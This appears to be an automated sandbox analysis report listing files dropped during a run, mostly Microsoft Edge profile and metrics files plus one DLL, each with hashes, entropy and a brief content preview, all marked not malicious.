File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\0553ea47-63af-41b3-888f-7de58f2f2092.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089772531382475
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWMdi1zNtPMhkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynYekzItSmd6qE7lFoC
MD5:	8B28A5C383B64FC5202C808D01F50C57
SHA1:	2449F3B9AB03C0F3044642E919ECB0C3EAB972C7
SHA-256:	7727C83C240BC39FFEF51C8DD577E1C3F95290E4398EB31043374A9D127971F4
SHA-512:	7E6FE8F17216CBCAAA65E95D7440B06B100180213B7CF8625221F38FE603BCF168F661D39228B63519CDB05228C54A23E3210BBFB03AEFBC526E49F37B2054DF
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\3f88f7cd-5f11-436e-a5f2-fd0030a2e2f4.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46367
Entropy (8bit):	6.086728044087286
Encrypted:	false
SSDEEP:	768:2MkbJrT8IeQc5dKmm7i1zNtBigXX90Ffx4F7BIQmxgpCioFJDSgzMMd6qD47u309:2Mk1rT8H1KSB/IQ9FoFtSmd6qE7v
MD5:	B8054F881E50FCAEB560EB3B2888384E
SHA1:	C0CA6ADB5268FD383359916DDD5C37C435934177
SHA-256:	40D86B56F6BB851917F6A563BE959DEF6E89940DAEB8A03F17D2766FE81633A1
SHA-512:	B6905D9233280025C0FC5EDC556BD9BC62EB3E571D2856DD3D1AFA901539B01D82FF57BC0FCE8D7C99EB3F6CF9529F326DF11F0554C657117B07E5341213EFA7
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13377108693133926","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"5eb8f25e-a76c-4553-b186-d0424edac3c6"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1732635098"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\4b13bb1d-957a-4b86-b66c-88382dc1850a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44894
Entropy (8bit):	6.095335616063009
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWCgi1zNtBigXXNNDnNuD9KJDSgzMMd6qD47u3+CioC:+/Ps+wsI7yn1BuKtSmd6qE7lFoC
MD5:	0F8BF63089B928AA93CA9BEFCD1C318C
SHA1:	C9548B6AAC6AFFE415C46E0C5DE0F73EB30C5256
SHA-256:	D5A40BE284B4B8D8FC46F704F7F689AD3EA43B2DFBD395D118B39B21B0E70C21
SHA-512:	642913DAD57BA39AAE5FDFA9813D89F57A5E1D25059B478BB5997FDCACF008A44C6D347310C69BDF1945E683382A6161D928D8E2294362BE1BF2EBEEC67B5F92
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\78e0d706-5ed6-4d9d-8513-dd122fab0a9c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46414
Entropy (8bit):	6.086474471639706
Encrypted:	false
SSDEEP:	768:2MkbJrT8IeQc5dKmf7i1zNtBigXX90Ffx4F7BIQmxgpCioFJDSgzMMd6qD47u309:2Mk1rT8H1K3B/IQ9FoFtSmd6qE7v
MD5:	82CA627E6DC06AF3329E275324E2F2CE
SHA1:	38B5EC1BE0F2C63C4107E8FE710C4E62609B7FEA
SHA-256:	BE6B56066D70E8ACE97C30C0366076D36FBD1D4D0B1ECCCE4ED7F1BA8370F3B1
SHA-512:	AFE2F3D9F74F2F171FD4EE93D649F8E40BF07692F2E110846974BD48FDFAD26B2203DB17CB74BDB9E4D379966CC5248E649CA80ECB56A3EDA9111CB2119F28B7
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13377108693133926","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"5eb8f25e-a76c-4553-b186-d0424edac3c6"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1732635098"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\9aaa9495-0f64-4b92-8c2c-94fa4530a57c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44894
Entropy (8bit):	6.095335616063009
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWCgi1zNtBigXXNNDnNuD9KJDSgzMMd6qD47u3+CioC:+/Ps+wsI7yn1BuKtSmd6qE7lFoC
MD5:	0F8BF63089B928AA93CA9BEFCD1C318C
SHA1:	C9548B6AAC6AFFE415C46E0C5DE0F73EB30C5256
SHA-256:	D5A40BE284B4B8D8FC46F704F7F689AD3EA43B2DFBD395D118B39B21B0E70C21
SHA-512:	642913DAD57BA39AAE5FDFA9813D89F57A5E1D25059B478BB5997FDCACF008A44C6D347310C69BDF1945E683382A6161D928D8E2294362BE1BF2EBEEC67B5F92
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-6745E9D4-1370.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.4574289517138186
Encrypted:	false
SSDEEP:	6144:UelFDMIuAkcJlBzncvgnhQqfLmaHESTv:Pkc7Bln
MD5:	5A1C9EA65896ADC6B32589AA1ACA0902
SHA1:	9686B3A2EF9EBED5D7803B5C7D8A84515461B412
SHA-256:	D4ADFD8824175B221477714286DEF25093DA1D0FF9F57761370D4B5E1A4E268B
SHA-512:	A2BB88225843CBE418A9DDA4FFF42789DD8D67DCD013F3C1CF06139F573BD29FEA81E4B927AE82618258410EE9A3D67A0FA310FADCF556812B2B185FA19AB9FB
Malicious:	false
Preview:	...@..@...@.....C.].....@...................H...............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30...............117.0.2045.55-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".prwkvq20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@....................................w..U?:K...G...W6.>.........."....."...24.."."+jDg7C0j+BlQ1Nj+QPG7Safjq+2ZvoQsMhxZL1Gpc+U=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z...Nb.X9.I@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2................. .`2.......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.0984945491284295
Encrypted:	false
SSDEEP:	3:FiWWltlcUpPmPIijS3XbnbO6YBVP/Sh/JzvbYuDRBOc7cEJHCll:o1cUh4Y3LbO/BVsJDbYuDRBOycd
MD5:	AFAC5E4CC1213807ACB7D1A0F61BCF99
SHA1:	FEDCA0A829A0DBCCD1E9D7048398372FF9604783
SHA-256:	FF48F538CBF3D665C9B115D6F3F6459E0CD7D9DF368E921E5A4BF2CA88E3C55F
SHA-512:	44F1A7E8C8DD1D5CE625AE26ED4074900A979ACD34BAFB3D3B354145690D37D34E07F2D0D9DEE81BE80EAFA9E3973AB11AD6E85EB23A804958584D8DB4902D66
Malicious:	false
Preview:	sdPC.....................cT..\.E.....P."+jDg7C0j+BlQ1Nj+QPG7Safjq+2ZvoQsMhxZL1Gpc+U="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................7aa5fc64-f4df-45d8-92ed-89470ca1c2d2............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\146b9d99-c191-4a79-a18a-eef5a55bb4e0.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17602), with no line terminators
Category:	dropped
Size (bytes):	17610
Entropy (8bit):	5.489433546100706
Encrypted:	false
SSDEEP:	384:stMPGQSu4JsK1QCD4XCnz69VPbGgQwH3y:sWOXuY1QCYBbGvCy
MD5:	92EFB21E756AA0149B4439D5540EAFEA
SHA1:	8D0CD8D95AE6578E50E296735C9B3F448ADC2149
SHA-256:	6272A3333D0B792B8802DF77864B79A46A53EDBEB049B6CC7F05200382BC78B7
SHA-512:	93796E917F849FF2CBF623B46EB7C897D50B21D452B7649C592BD71F0B3113265543B76739B458BFE8F0D91E6958F2BCA110A67FDF0723609870671B4022333E
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377108693008208","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\3059177a-6373-445b-befc-c6a719eae1d3.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17437), with no line terminators
Category:	dropped
Size (bytes):	17445
Entropy (8bit):	5.492722973250126
Encrypted:	false
SSDEEP:	192:stMJ99QTryDiuabatSuypJsc31QaFvrEdBkiNb+k/KSUz67ZVIB8jbV+Fy5Qwq3t:stMPGQSu4JsK1QCD4XCnz69VPbGgQwBy
MD5:	398402796B32B9D8BC66E65F2EEDDD19
SHA1:	9BA8892CAB14698923FFABDB4921A33B2B0DD111
SHA-256:	8150E1D188156A50BC393EF7A884FDA1A8826396A6A190F251F72F5E4C20E602
SHA-512:	741C07D283A546D058C65EDC369CB90112CB48D59A2C4DBB5A61608087576C005094AA887CBD42E66617DBF18DC356E94CC4CE405BF074404DCFBF3572B68594
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377108693008208","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\4a75a0c9-9716-4e50-99db-330a2ac291c9.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\4cf89b78-fef3-4fe1-9f82-c8b46586d9f5.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\66bba822-d615-4fdc-878e-9e879ac5971d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40504
Entropy (8bit):	5.561560222669528
Encrypted:	false
SSDEEP:	768:ggdugBWC77pLGLPtDW5wKkf44g8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPNt7MIzoa:gGfBlNcPtDWaKkfTgu1jakt7pQnfWSWv
MD5:	38D4F7CA462C42FE7E53BB4ECC647B39
SHA1:	4E5DE1BD13B49D6B340F8B501107A37BA0DABDB8
SHA-256:	5284B84B39AEC74C1ACFEEF5415366C1C19EAD13B920062560378AA8134AA3A0
SHA-512:	626D72A4E467682AFB6CA8F5BDC847ED29D8B7D558B32A7026A3416CFA682F263A80C72336D37CD4649406333D0CD3FC4B65066A0B7A0AC4AB06DEF5026F7E74
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13377108692449849","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13377108692449849","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\6e3643eb-2ef0-4291-8018-307b500dd3de.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9861
Entropy (8bit):	5.1127071390747885
Encrypted:	false
SSDEEP:	192:stMkdpJsc31QaFvrE9kuRB8jbV+Fy5QAyUiPlRUYJ:stMQJsK1QCDhbGgQoy
MD5:	6E650DEBD5A62331F2221A6FF0F35BE4
SHA1:	86D4E9A92D43183E649E1DE6802CEDE86E1FE303
SHA-256:	BC2FC3DBC1C0D616024E9013657EAC565330E7B18060C963F16E6DBCC1E8DCBF
SHA-512:	BA4DC9C2F8DC64B6AEF037ADE1F8AA15FA6DE802508E9B54A8146D19EB43EE57D63CA44460A73F700DC70DE41081C363EBC967394E99BE8D0361BD137AE14538
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377108693008208","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\8462c550-b8db-403a-8971-b3adaf0b6e79.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	14439
Entropy (8bit):	5.301371385751948
Encrypted:	false
SSDEEP:	192:stMJ99QTryDiuabatSuypJsc31QaFvrEdBkiNb+nB8jbV+Fy5QwqyUiPlRUYJ:stMPGQSu4JsK1QCD4HbGgQw+y
MD5:	1D0420CC1A21033AF262549A651D0C27
SHA1:	EDFAAF3685D1AEF2F74743837DE2E19F0F60DDB4
SHA-256:	DBBF46C0F56194A33C509E99850A2D8B24DDA971385178CC94B6BF71BB0F4703
SHA-512:	EC518A0A77BC05C224DF74BD02802270815A800837A084B2F06633CBDFF5CD90CDAE0591D7D4CE3D912952A41289EB28255C0F69FB6912A73A7D515FEFC21ECB
Malicious:	false
